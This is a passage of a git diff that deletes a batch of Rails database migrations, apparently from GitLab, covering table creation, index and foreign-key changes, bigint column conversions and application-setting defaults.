-class AddEpicBoardRecentVisitsTable < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- def up
- with_lock_retries do
- unless table_exists?(:boards_epic_board_recent_visits)
- create_table :boards_epic_board_recent_visits do |t|
- t.references :user, index: true, null: false, foreign_key: { on_delete: :cascade }
- t.references :epic_board, index: true, foreign_key: { to_table: :boards_epic_boards, on_delete: :cascade }, null: false
- t.references :group, index: true, foreign_key: { to_table: :namespaces, on_delete: :cascade }, null: false
- t.timestamps_with_timezone null: false
- end
- end
- end
- end
-
- def down
- with_lock_retries do
- drop_table :boards_epic_board_recent_visits
- end
- end
-end
diff --git a/db/migrate/20210511104930_add_index_to_epic_board_recent_visits.rb b/db/migrate/20210511104930_add_index_to_epic_board_recent_visits.rb
deleted file mode 100644
index 1341886c50c..00000000000
--- a/db/migrate/20210511104930_add_index_to_epic_board_recent_visits.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-# frozen_string_literal: true
-
-class AddIndexToEpicBoardRecentVisits < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- INDEX_NAME = 'index_epic_board_recent_visits_on_user_group_and_board'
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :boards_epic_board_recent_visits,
- [:user_id, :group_id, :epic_board_id],
- name: INDEX_NAME,
- unique: true
- end
-
- def down
- remove_concurrent_index_by_name :boards_epic_board_recent_visits, INDEX_NAME
- end
-end
diff --git a/db/migrate/20210511165250_add_foreign_key_to_lfs_objects_projects.rb b/db/migrate/20210511165250_add_foreign_key_to_lfs_objects_projects.rb
deleted file mode 100644
index 4163499a553..00000000000
--- a/db/migrate/20210511165250_add_foreign_key_to_lfs_objects_projects.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-class AddForeignKeyToLfsObjectsProjects < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_foreign_key :lfs_objects_projects, :lfs_objects, column: :lfs_object_id, on_delete: :restrict, validate: false
- add_concurrent_foreign_key :lfs_objects_projects, :projects, column: :project_id, on_delete: :cascade, validate: false
- end
-
- def down
- with_lock_retries do
- remove_foreign_key :lfs_objects_projects, column: :lfs_object_id
- remove_foreign_key :lfs_objects_projects, column: :project_id
- end
- end
-end
diff --git a/db/migrate/20210512120122_add_pending_builds_table.rb b/db/migrate/20210512120122_add_pending_builds_table.rb
deleted file mode 100644
index 38e13d43b38..00000000000
--- a/db/migrate/20210512120122_add_pending_builds_table.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-class AddPendingBuildsTable < ActiveRecord::Migration[6.0]
- def up
- create_table :ci_pending_builds do |t|
- t.references :build, index: { unique: true }, null: false, foreign_key: { to_table: :ci_builds, on_delete: :cascade }
- t.references :project, index: true, null: false, foreign_key: { on_delete: :cascade }
- t.datetime_with_timezone :created_at, null: false, default: -> { 'NOW()' }
- end
- end
-
- def down
- drop_table :ci_pending_builds
- end
-end
diff --git a/db/migrate/20210512183309_add_body_to_findings_evidences_response.rb b/db/migrate/20210512183309_add_body_to_findings_evidences_response.rb
deleted file mode 100644
index 6884d339b9c..00000000000
--- a/db/migrate/20210512183309_add_body_to_findings_evidences_response.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-# frozen_string_literal: true
-
-class AddBodyToFindingsEvidencesResponse < ActiveRecord::Migration[6.0]
- # rubocop:disable Migration/AddLimitToTextColumns
- # limit is added in 20210512183310_add_limit_to_findings_evidences_response_body.rb
- def change
- add_column :vulnerability_finding_evidence_responses, :body, :text
- end
- # rubocop:enable Migration/AddLimitToTextColumns
-end
diff --git a/db/migrate/20210512183310_add_limit_to_findings_evidences_response_body.rb b/db/migrate/20210512183310_add_limit_to_findings_evidences_response_body.rb
deleted file mode 100644
index bdd15163809..00000000000
--- a/db/migrate/20210512183310_add_limit_to_findings_evidences_response_body.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class AddLimitToFindingsEvidencesResponseBody < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- add_text_limit :vulnerability_finding_evidence_responses, :body, 2048
- end
-
- def down
- remove_text_limit :vulnerability_finding_evidence_responses, :body
- end
-end
diff --git a/db/migrate/20210513093418_add_draft_column_to_merge_requests.rb b/db/migrate/20210513093418_add_draft_column_to_merge_requests.rb
deleted file mode 100644
index 67e2cc0eea0..00000000000
--- a/db/migrate/20210513093418_add_draft_column_to_merge_requests.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class AddDraftColumnToMergeRequests < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- def up
- with_lock_retries do
- add_column :merge_requests, :draft, :boolean, default: false, null: false
- end
- end
-
- def down
- with_lock_retries do
- remove_column :merge_requests, :draft
- end
- end
-end
diff --git a/db/migrate/20210517130723_make_snapshot_segment_id_optional.rb b/db/migrate/20210517130723_make_snapshot_segment_id_optional.rb
deleted file mode 100644
index a05be71a243..00000000000
--- a/db/migrate/20210517130723_make_snapshot_segment_id_optional.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-# frozen_string_literal: true
-
-class MakeSnapshotSegmentIdOptional < ActiveRecord::Migration[6.0]
- def up
- change_column_null(:analytics_devops_adoption_snapshots, :segment_id, true)
- end
-
- def down
- change_column_null(:analytics_devops_adoption_snapshots, :segment_id, false)
- end
-end
diff --git a/db/migrate/20210517144856_require_snapshot_namespace.rb b/db/migrate/20210517144856_require_snapshot_namespace.rb
deleted file mode 100644
index ec25c13383f..00000000000
--- a/db/migrate/20210517144856_require_snapshot_namespace.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-require Rails.root.join('db', 'post_migrate', '20210430134202_copy_adoption_snapshot_namespace.rb')
-
-class RequireSnapshotNamespace < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- def up
- CopyAdoptionSnapshotNamespace.new.up
-
- add_not_null_constraint(:analytics_devops_adoption_snapshots, :namespace_id)
- end
-
- def down
- remove_not_null_constraint(:analytics_devops_adoption_snapshots, :namespace_id)
- end
-end
diff --git a/db/migrate/20210517221612_add_default_value_to_merge_requests_author_approval_on_projects.rb b/db/migrate/20210517221612_add_default_value_to_merge_requests_author_approval_on_projects.rb
deleted file mode 100644
index 1c017a366c8..00000000000
--- a/db/migrate/20210517221612_add_default_value_to_merge_requests_author_approval_on_projects.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class AddDefaultValueToMergeRequestsAuthorApprovalOnProjects < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- def up
- with_lock_retries do
- change_column_default :projects, :merge_requests_author_approval, false
- end
- end
-
- def down
- with_lock_retries do
- change_column_default :projects, :merge_requests_author_approval, nil
- end
- end
-end
diff --git a/db/migrate/20210519132109_initialize_conversion_of_ci_builds_metadata_to_bigint.rb b/db/migrate/20210519132109_initialize_conversion_of_ci_builds_metadata_to_bigint.rb
deleted file mode 100644
index 7ff0276b4b5..00000000000
--- a/db/migrate/20210519132109_initialize_conversion_of_ci_builds_metadata_to_bigint.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-# frozen_string_literal: true
-
-class InitializeConversionOfCiBuildsMetadataToBigint < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- TABLE = :ci_builds_metadata
- COLUMN = :build_id
-
- def up
- initialize_conversion_of_integer_to_bigint(TABLE, COLUMN)
- end
-
- def down
- revert_initialize_conversion_of_integer_to_bigint(TABLE, COLUMN)
- end
-end
diff --git a/db/migrate/20210519154058_schedule_update_users_where_two_factor_auth_required_from_group.rb b/db/migrate/20210519154058_schedule_update_users_where_two_factor_auth_required_from_group.rb
deleted file mode 100644
index 2da84301a72..00000000000
--- a/db/migrate/20210519154058_schedule_update_users_where_two_factor_auth_required_from_group.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-# frozen_string_literal: true
-
-class ScheduleUpdateUsersWhereTwoFactorAuthRequiredFromGroup < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- MIGRATION = 'UpdateUsersWhereTwoFactorAuthRequiredFromGroup'
- DELAY_INTERVAL = 2.minutes
- BATCH_SIZE = 10_000
- INDEX_NAME = 'index_users_require_two_factor_authentication_from_group_false'
-
- disable_ddl_transaction!
-
- class User < ActiveRecord::Base
- include EachBatch
-
- self.table_name = 'users'
- end
-
- def up
- add_concurrent_index :users,
- :require_two_factor_authentication_from_group,
- where: 'require_two_factor_authentication_from_group = FALSE',
- name: INDEX_NAME
-
- relation = User.where(require_two_factor_authentication_from_group: false)
-
- queue_background_migration_jobs_by_range_at_intervals(
- relation, MIGRATION, DELAY_INTERVAL, batch_size: BATCH_SIZE)
- end
-
- def down
- remove_concurrent_index_by_name :users, INDEX_NAME
- end
-end
diff --git a/db/migrate/20210520102039_group_protected_environments_add_column.rb b/db/migrate/20210520102039_group_protected_environments_add_column.rb
deleted file mode 100644
index 642e22c5f48..00000000000
--- a/db/migrate/20210520102039_group_protected_environments_add_column.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-class GroupProtectedEnvironmentsAddColumn < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- def up
- add_column :protected_environments, :group_id, :bigint
- change_column_null :protected_environments, :project_id, true
- end
-
- def down
- change_column_null :protected_environments, :project_id, false
- remove_column :protected_environments, :group_id
- end
-end
diff --git a/db/migrate/20210520133032_initialize_conversion_of_taggings_to_bigint.rb b/db/migrate/20210520133032_initialize_conversion_of_taggings_to_bigint.rb
deleted file mode 100644
index e154c25b082..00000000000
--- a/db/migrate/20210520133032_initialize_conversion_of_taggings_to_bigint.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-# frozen_string_literal: true
-
-class InitializeConversionOfTaggingsToBigint < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- TABLE = :taggings
- COLUMNS = %i(id taggable_id)
-
- def up
- initialize_conversion_of_integer_to_bigint(TABLE, COLUMNS)
- end
-
- def down
- revert_initialize_conversion_of_integer_to_bigint(TABLE, COLUMNS)
- end
-end
diff --git a/db/migrate/20210520133440_backfill_taggings_for_bigint_conversion.rb b/db/migrate/20210520133440_backfill_taggings_for_bigint_conversion.rb
deleted file mode 100644
index 778e186eb9c..00000000000
--- a/db/migrate/20210520133440_backfill_taggings_for_bigint_conversion.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-class BackfillTaggingsForBigintConversion < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- TABLE = :taggings
- COLUMNS = %i(id taggable_id)
-
- def up
- backfill_conversion_of_integer_to_bigint TABLE, COLUMNS, batch_size: 15000, sub_batch_size: 100
- end
-
- def down
- revert_backfill_conversion_of_integer_to_bigint TABLE, COLUMNS
- end
-end
diff --git a/db/migrate/20210521073920_drop_devops_adoption_namespace_uniqueness.rb b/db/migrate/20210521073920_drop_devops_adoption_namespace_uniqueness.rb
deleted file mode 100644
index d255ce844e2..00000000000
--- a/db/migrate/20210521073920_drop_devops_adoption_namespace_uniqueness.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-# frozen_string_literal: true
-
-class DropDevopsAdoptionNamespaceUniqueness < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- INDEX_NAME = 'index_analytics_devops_adoption_segments_on_namespace_id'
- NEW_INDEX_NAME = 'idx_analytics_devops_adoption_segments_on_namespace_id'
-
- def up
- add_concurrent_index :analytics_devops_adoption_segments, :namespace_id, name: NEW_INDEX_NAME
- remove_concurrent_index_by_name :analytics_devops_adoption_segments, INDEX_NAME
- end
-
- def down
- # Clean up duplicated records
- execute "DELETE FROM analytics_devops_adoption_segments WHERE id NOT IN (SELECT MIN(id) FROM analytics_devops_adoption_segments GROUP BY namespace_id)"
-
- add_concurrent_index :analytics_devops_adoption_segments, :namespace_id, name: INDEX_NAME, unique: true
- remove_concurrent_index_by_name :analytics_devops_adoption_segments, NEW_INDEX_NAME
- end
-end
diff --git a/db/migrate/20210525085158_initialize_conversion_of_deployments_to_bigint.rb b/db/migrate/20210525085158_initialize_conversion_of_deployments_to_bigint.rb
deleted file mode 100644
index 70775eb3bb5..00000000000
--- a/db/migrate/20210525085158_initialize_conversion_of_deployments_to_bigint.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-# frozen_string_literal: true
-
-class InitializeConversionOfDeploymentsToBigint < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- TABLE = :deployments
- COLUMNS = %i(deployable_id)
-
- def up
- initialize_conversion_of_integer_to_bigint(TABLE, COLUMNS)
- end
-
- def down
- revert_initialize_conversion_of_integer_to_bigint(TABLE, COLUMNS)
- end
-end
diff --git a/db/migrate/20210525085325_backfill_deployments_for_bigint_conversion.rb b/db/migrate/20210525085325_backfill_deployments_for_bigint_conversion.rb
deleted file mode 100644
index 0795abf19d4..00000000000
--- a/db/migrate/20210525085325_backfill_deployments_for_bigint_conversion.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-class BackfillDeploymentsForBigintConversion < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- TABLE = :deployments
- COLUMNS = %i(deployable_id)
-
- def up
- backfill_conversion_of_integer_to_bigint TABLE, COLUMNS
- end
-
- def down
- revert_backfill_conversion_of_integer_to_bigint TABLE, COLUMNS
- end
-end
diff --git a/db/migrate/20210525100539_initialize_conversion_of_geo_job_artifact_deleted_events_to_bigint.rb b/db/migrate/20210525100539_initialize_conversion_of_geo_job_artifact_deleted_events_to_bigint.rb
deleted file mode 100644
index 3e8bcf1851a..00000000000
--- a/db/migrate/20210525100539_initialize_conversion_of_geo_job_artifact_deleted_events_to_bigint.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-# frozen_string_literal: true
-
-class InitializeConversionOfGeoJobArtifactDeletedEventsToBigint < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- TABLE = :geo_job_artifact_deleted_events
- COLUMNS = %i(job_artifact_id)
-
- def up
- initialize_conversion_of_integer_to_bigint(TABLE, COLUMNS)
- end
-
- def down
- revert_initialize_conversion_of_integer_to_bigint(TABLE, COLUMNS)
- end
-end
diff --git a/db/migrate/20210525100603_backfill_geo_job_artifact_deleted_events_for_bigint_conversion.rb b/db/migrate/20210525100603_backfill_geo_job_artifact_deleted_events_for_bigint_conversion.rb
deleted file mode 100644
index c2845760b5c..00000000000
--- a/db/migrate/20210525100603_backfill_geo_job_artifact_deleted_events_for_bigint_conversion.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-class BackfillGeoJobArtifactDeletedEventsForBigintConversion < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- TABLE = :geo_job_artifact_deleted_events
- COLUMNS = %i(job_artifact_id)
-
- def up
- backfill_conversion_of_integer_to_bigint TABLE, COLUMNS
- end
-
- def down
- revert_backfill_conversion_of_integer_to_bigint TABLE, COLUMNS
- end
-end
diff --git a/db/migrate/20210525184900_add_latest_pipeline_id_into_vulnerability_statistics_table.rb b/db/migrate/20210525184900_add_latest_pipeline_id_into_vulnerability_statistics_table.rb
deleted file mode 100644
index 508ad92f9e5..00000000000
--- a/db/migrate/20210525184900_add_latest_pipeline_id_into_vulnerability_statistics_table.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# frozen_string_literal: true
-
-class AddLatestPipelineIdIntoVulnerabilityStatisticsTable < ActiveRecord::Migration[6.0]
- def change
- add_column :vulnerability_statistics, :latest_pipeline_id, :bigint
- end
-end
diff --git a/db/migrate/20210526135911_create_ci_minutes_additional_packs.rb b/db/migrate/20210526135911_create_ci_minutes_additional_packs.rb
deleted file mode 100644
index 3464268a77f..00000000000
--- a/db/migrate/20210526135911_create_ci_minutes_additional_packs.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-# frozen_string_literal: true
-
-class CreateCiMinutesAdditionalPacks < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- def up
- create_table_with_constraints :ci_minutes_additional_packs, if_not_exists: true do |t|
- t.timestamps_with_timezone
-
- t.references :namespace, index: false, null: false, foreign_key: { on_delete: :cascade }
- t.date :expires_at, null: true
- t.integer :number_of_minutes, null: false
- t.text :purchase_xid, null: true
- t.text_limit :purchase_xid, 32
-
- t.index [:namespace_id, :purchase_xid], name: 'index_ci_minutes_additional_packs_on_namespace_id_purchase_xid'
- end
- end
-
- def down
- with_lock_retries do
- drop_table :ci_minutes_additional_packs
- end
- end
-end
diff --git a/db/migrate/20210526155257_rename_sync_security_report_approval_rules_sidekiq_queue.rb b/db/migrate/20210526155257_rename_sync_security_report_approval_rules_sidekiq_queue.rb
deleted file mode 100644
index 51f234166de..00000000000
--- a/db/migrate/20210526155257_rename_sync_security_report_approval_rules_sidekiq_queue.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-class RenameSyncSecurityReportApprovalRulesSidekiqQueue < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- def up
- sidekiq_queue_migrate 'sync_security_reports_to_report_approval_rules', to: 'ci_sync_reports_to_report_approval_rules' # rubocop:disable Migration/SidekiqQueueMigrate
- end
-
- def down
- sidekiq_queue_migrate 'ci_sync_reports_to_report_approval_rules', to: 'sync_security_reports_to_report_approval_rules' # rubocop:disable Migration/SidekiqQueueMigrate
- end
-end
diff --git a/db/migrate/20210526181820_add_index_to_vulnerability_statistics_on_latest_pipeline_id.rb b/db/migrate/20210526181820_add_index_to_vulnerability_statistics_on_latest_pipeline_id.rb
deleted file mode 100644
index dd11b1e6f11..00000000000
--- a/db/migrate/20210526181820_add_index_to_vulnerability_statistics_on_latest_pipeline_id.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class AddIndexToVulnerabilityStatisticsOnLatestPipelineId < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- INDEX_NAME = 'index_vulnerability_statistics_on_latest_pipeline_id'
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :vulnerability_statistics, :latest_pipeline_id, name: INDEX_NAME
- end
-
- def down
- remove_concurrent_index_by_name :vulnerability_statistics, INDEX_NAME
- end
-end
diff --git a/db/migrate/20210526181821_add_foreign_key_for_latest_pipeline_id_to_ci_pipelines.rb b/db/migrate/20210526181821_add_foreign_key_for_latest_pipeline_id_to_ci_pipelines.rb
deleted file mode 100644
index adcac5e2637..00000000000
--- a/db/migrate/20210526181821_add_foreign_key_for_latest_pipeline_id_to_ci_pipelines.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class AddForeignKeyForLatestPipelineIdToCiPipelines < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_foreign_key :vulnerability_statistics, :ci_pipelines, column: :latest_pipeline_id, on_delete: :nullify
- end
-
- def down
- with_lock_retries do
- remove_foreign_key_if_exists :vulnerability_statistics, :ci_pipelines
- end
- end
-end
diff --git a/db/migrate/20210526190259_add_ci_daily_pipeline_schedule_triggers_to_plan_limits.rb b/db/migrate/20210526190259_add_ci_daily_pipeline_schedule_triggers_to_plan_limits.rb
deleted file mode 100644
index 074bec31160..00000000000
--- a/db/migrate/20210526190259_add_ci_daily_pipeline_schedule_triggers_to_plan_limits.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# frozen_string_literal: true
-
-class AddCiDailyPipelineScheduleTriggersToPlanLimits < ActiveRecord::Migration[6.0]
- def change
- add_column(:plan_limits, :ci_daily_pipeline_schedule_triggers, :integer, default: 0, null: false)
- end
-end
diff --git a/db/migrate/20210526190553_insert_ci_daily_pipeline_schedule_triggers_plan_limits.rb b/db/migrate/20210526190553_insert_ci_daily_pipeline_schedule_triggers_plan_limits.rb
deleted file mode 100644
index fe0969c15fb..00000000000
--- a/db/migrate/20210526190553_insert_ci_daily_pipeline_schedule_triggers_plan_limits.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-# frozen_string_literal: true
-
-class InsertCiDailyPipelineScheduleTriggersPlanLimits < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- EVERY_5_MINUTES = (1.day.in_minutes / 5).to_i
- EVERY_HOUR = 1.day.in_hours.to_i
-
- def up
- return unless Gitlab.com?
-
- create_or_update_plan_limit('ci_daily_pipeline_schedule_triggers', 'free', EVERY_HOUR)
- create_or_update_plan_limit('ci_daily_pipeline_schedule_triggers', 'bronze', EVERY_5_MINUTES)
- create_or_update_plan_limit('ci_daily_pipeline_schedule_triggers', 'silver', EVERY_5_MINUTES)
- create_or_update_plan_limit('ci_daily_pipeline_schedule_triggers', 'gold', EVERY_5_MINUTES)
- end
-
- def down
- return unless Gitlab.com?
-
- create_or_update_plan_limit('ci_daily_pipeline_schedule_triggers', 'free', 0)
- create_or_update_plan_limit('ci_daily_pipeline_schedule_triggers', 'bronze', 0)
- create_or_update_plan_limit('ci_daily_pipeline_schedule_triggers', 'silver', 0)
- create_or_update_plan_limit('ci_daily_pipeline_schedule_triggers', 'gold', 0)
- end
-end
diff --git a/db/migrate/20210527065005_add_index_for_cadence_iterations_automation.rb b/db/migrate/20210527065005_add_index_for_cadence_iterations_automation.rb
deleted file mode 100644
index 62ccdb6a4fd..00000000000
--- a/db/migrate/20210527065005_add_index_for_cadence_iterations_automation.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class AddIndexForCadenceIterationsAutomation < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- INDEX_NAME = 'cadence_create_iterations_automation'
-
- disable_ddl_transaction!
-
- def up
- # no-op
- end
-
- def down
- # no-op
- end
-end
diff --git a/db/migrate/20210527130524_rename_experiment_subjects_group_id_to_namespace_id.rb b/db/migrate/20210527130524_rename_experiment_subjects_group_id_to_namespace_id.rb
deleted file mode 100644
index 5f60a7f25c2..00000000000
--- a/db/migrate/20210527130524_rename_experiment_subjects_group_id_to_namespace_id.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-class RenameExperimentSubjectsGroupIdToNamespaceId < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers::V2
-
- disable_ddl_transaction!
-
- def up
- rename_column_concurrently :experiment_subjects, :group_id, :namespace_id
- end
-
- def down
- undo_rename_column_concurrently :experiment_subjects, :group_id, :namespace_id
- end
-end
diff --git a/db/migrate/20210527133919_add_diff_max_lines_to_application_settings.rb b/db/migrate/20210527133919_add_diff_max_lines_to_application_settings.rb
deleted file mode 100644
index 9c1cd94dbaa..00000000000
--- a/db/migrate/20210527133919_add_diff_max_lines_to_application_settings.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-# frozen_string_literal: true
-
-class AddDiffMaxLinesToApplicationSettings < ActiveRecord::Migration[6.0]
- def change
- add_column(:application_settings,
- :diff_max_lines,
- :integer,
- default: 50000,
- null: false)
- end
-end
diff --git a/db/migrate/20210527134019_add_diff_max_files_to_application_settings.rb b/db/migrate/20210527134019_add_diff_max_files_to_application_settings.rb
deleted file mode 100644
index 60b1f74cfd0..00000000000
--- a/db/migrate/20210527134019_add_diff_max_files_to_application_settings.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-# frozen_string_literal: true
-
-class AddDiffMaxFilesToApplicationSettings < ActiveRecord::Migration[6.0]
- def change
- add_column(:application_settings,
- :diff_max_files,
- :integer,
- default: 1000,
- null: false)
- end
-end
diff --git a/db/migrate/20210527185542_add_prevent_sharing_groups_outside_hierarchy_to_namespace_settings.rb b/db/migrate/20210527185542_add_prevent_sharing_groups_outside_hierarchy_to_namespace_settings.rb
deleted file mode 100644
index 8fb489ac537..00000000000
--- a/db/migrate/20210527185542_add_prevent_sharing_groups_outside_hierarchy_to_namespace_settings.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-class AddPreventSharingGroupsOutsideHierarchyToNamespaceSettings < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- def up
- with_lock_retries do
- add_column :namespace_settings, :prevent_sharing_groups_outside_hierarchy, :boolean, null: false, default: false
- end
- end
-
- def down
- with_lock_retries do
- remove_column :namespace_settings, :prevent_sharing_groups_outside_hierarchy
- end
- end
-end
diff --git a/db/migrate/20210527194558_create_ci_job_token_project_scope_links.rb b/db/migrate/20210527194558_create_ci_job_token_project_scope_links.rb
deleted file mode 100644
index aaa94b9a231..00000000000
--- a/db/migrate/20210527194558_create_ci_job_token_project_scope_links.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-# frozen_string_literal: true
-
-class CreateCiJobTokenProjectScopeLinks < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- def up
- with_lock_retries do
- create_table :ci_job_token_project_scope_links, if_not_exists: true do |t|
- t.belongs_to :source_project, index: false, null: false, foreign_key: { to_table: :projects, on_delete: :cascade }
- t.belongs_to :target_project, null: false, foreign_key: { to_table: :projects, on_delete: :cascade }
- t.belongs_to :added_by, foreign_key: { to_table: :users, on_delete: :nullify }
- t.datetime_with_timezone :created_at, null: false
-
- t.index [:source_project_id, :target_project_id], unique: true, name: 'i_ci_job_token_project_scope_links_on_source_and_target_project'
- end
- end
- end
-
- def down
- with_lock_retries do
- drop_table :ci_job_token_project_scope_links, if_exists: true
- end
- end
-end
diff --git a/db/migrate/20210529164247_change_iterations_title_uniqueness_index.rb b/db/migrate/20210529164247_change_iterations_title_uniqueness_index.rb
deleted file mode 100644
index 47e7e2c757d..00000000000
--- a/db/migrate/20210529164247_change_iterations_title_uniqueness_index.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-# frozen_string_literal: true
-
-class ChangeIterationsTitleUniquenessIndex < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- INDEX_NAME = 'index_sprints_on_iterations_cadence_id_and_title'
- OLD_INDEX_NAME = 'index_sprints_on_group_id_and_title'
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :sprints, [:iterations_cadence_id, :title], name: INDEX_NAME, unique: true
- remove_concurrent_index_by_name :sprints, OLD_INDEX_NAME
- end
-
- def down
- # noop
- # rollback would not work as we can have duplicate records once the unique `index_sprints_on_group_id_and_title` index is removed
- end
-end
diff --git a/db/migrate/20210531053916_rename_instance_statistics_measurements.rb b/db/migrate/20210531053916_rename_instance_statistics_measurements.rb
deleted file mode 100644
index 733ca296952..00000000000
--- a/db/migrate/20210531053916_rename_instance_statistics_measurements.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-
-class RenameInstanceStatisticsMeasurements < Gitlab::Database::Migration[1.0]
- enable_lock_retries!
-
- def up
- rename_table_safely(:analytics_instance_statistics_measurements, :analytics_usage_trends_measurements)
- end
-
- def down
- undo_rename_table_safely(:analytics_instance_statistics_measurements, :analytics_usage_trends_measurements)
- end
-end
diff --git a/db/migrate/20210531070452_default_enforce_ssh_key_expiration.rb b/db/migrate/20210531070452_default_enforce_ssh_key_expiration.rb
deleted file mode 100644
index 8ddbb528962..00000000000
--- a/db/migrate/20210531070452_default_enforce_ssh_key_expiration.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# frozen_string_literal: true
-
-class DefaultEnforceSshKeyExpiration < ActiveRecord::Migration[6.0]
- def change
- change_column_default(:application_settings, :enforce_ssh_key_expiration, from: false, to: true)
- end
-end
diff --git a/db/migrate/20210531071107_enable_enforce_ssh_key_expiration.rb b/db/migrate/20210531071107_enable_enforce_ssh_key_expiration.rb
deleted file mode 100644
index c164183fbf8..00000000000
--- a/db/migrate/20210531071107_enable_enforce_ssh_key_expiration.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-# frozen_string_literal: true
-
-class EnableEnforceSshKeyExpiration < ActiveRecord::Migration[6.0]
- class ApplicationSetting < ActiveRecord::Base
- self.table_name = 'application_settings'
- end
-
- def up
- ApplicationSetting.reset_column_information
-
- ApplicationSetting.where.not(enforce_ssh_key_expiration: true).each do |application_setting|
- application_setting.update!(enforce_ssh_key_expiration: true)
- end
- end
-end
diff --git a/db/migrate/20210601080039_group_protected_environments_add_index_and_constraint.rb b/db/migrate/20210601080039_group_protected_environments_add_index_and_constraint.rb
deleted file mode 100644
index 1109d814ee9..00000000000
--- a/db/migrate/20210601080039_group_protected_environments_add_index_and_constraint.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-# frozen_string_literal: true
-
-class GroupProtectedEnvironmentsAddIndexAndConstraint < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- INDEX_NAME = 'index_protected_environments_on_group_id_and_name'
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :protected_environments, [:group_id, :name], unique: true,
- name: INDEX_NAME, where: 'group_id IS NOT NULL'
- add_concurrent_foreign_key :protected_environments, :namespaces, column: :group_id, on_delete: :cascade
-
- add_check_constraint :protected_environments,
- "((project_id IS NULL) != (group_id IS NULL))",
- :protected_environments_project_or_group_existence
- end
-
- def down
- remove_group_protected_environments!
-
- remove_check_constraint :protected_environments, :protected_environments_project_or_group_existence
